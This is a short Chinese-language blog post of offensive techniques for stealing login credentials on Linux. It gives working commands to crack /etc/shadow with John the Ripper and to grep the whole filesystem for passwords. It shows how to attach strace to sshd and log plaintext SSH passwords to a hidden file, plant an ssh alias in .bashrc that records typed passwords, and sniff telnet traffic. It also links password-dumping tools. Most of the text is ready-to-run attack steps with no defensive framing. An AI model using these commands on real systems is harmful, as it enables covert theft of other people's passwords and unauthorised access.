Linux下登录凭证窃取技巧

Linux下登录凭证窃取技巧 Linux Credential theft

history记录敏感操作

Linux系统会自动把用户的操作命令记录到历史列表中,当用户在命令行中输入账号、密码进行登录时,将会导致敏感信息泄露。

shadow文件破解

shadow用于存储 Linux 系统中用户的密码信息,以一个用例来说明:

root:$1$aXmGMjXX$MGrR.Hquwr7UVMwOGOzJV0::0:99999:7:::

密码域密文由三部分组成,即:$idsalt$encrypted。当id=1,采用md5进行加密,弱口令容易被破解。
当id为5时,采用SHA256进行加密,id为6时,采用SHA512进行加密,可以通过john进行暴力破解。

wget https://www.openwall.com/john/k/john-1.9.0.tar.gz
tar -zxvf john-1.9.0.tar.gz
make clean linux-x86-64
 ./john /etc/shadow

全盘搜索敏感信息

全局搜索配置文件、脚本、数据库、日志文件是否有包含密码。

grep -rn "password=" /

使用Strace收集登录凭证

strace是一个动态跟踪工具,堪比键盘记录器的存在,可用来收集登录凭证。

获取sshd进程明文密码

(strace -f -F -p `ps aux|grep "sshd -D"|grep -v grep|awk {'print $2'}` -t -e trace=read,write -s 32 2> /tmp/.sshd.log &)

使用正在来匹配用户和密码

# 查找用户名和密码
grep -E 'read\(6, ".+\\0\\0\\0\\.+"' /tmp/.sshd.log

# 结果形式如下
[pid  2401] 22:34:34 read(6, "\10\0\0\0\4root", 9) = 9
[pid  2401] 22:34:34 read(6, "\4\0\0\0\16ssh-connection\0\0\0\0\0\0\0\0", 27) = 27
[pid  2401] 22:34:34 read(6, "\f\0\0\0\4toor", 9) = 9

收集ssh登陆凭证

# 添加命令别名
vi ~/.bashrc或者/etc/bashrc
alias ssh='strace -f -e trace=read,write -o /tmp/.ssh-`date '+%d%h%m%s'`.log -s 32 ssh'
# 使命令别名立即生效
source ~/.bashrc

通过grep 找到匹配行的后8行,可以根据密码长度调整行数

grep -A 9 'password' .ssh-25Sep091601017212.log

tcpdump 抓包分析

抓取数据包进行分析,获取明文账号密码,比如ftp、telnet、http。

tcpdump -i ens33 port 23 -w test.cap

mimipenguin抓取密码

一款Linux下的密码抓取神器,需要root权限运行,通过转储进程并提取很可能包含明文密码的行来利用内存中的明文凭证,目前支持Kali、Ubnutu等操作系统。

https://github.com/huntergregal/mimipenguin

swap_digger

一个用于自动进行Linux交换分析bash脚本,自动进行交换提取,并搜索Linux用户凭据,Web表单凭据,Web表单电子邮件,HTTP基本身份验证,WiFi SSID和密钥等。

https://github.com/sevagas/swap_digger

Impost3r

一个利用C语言编写,用来窃取linux下各类密码(ssh,su,sudo)的工具。

https://github.com/ph4ntonn/Impost3r

© 2021. All rights reserved.

本站总访问量 Web Analytics

Powered by Hydejack v9.1.2 & Moded by ZYA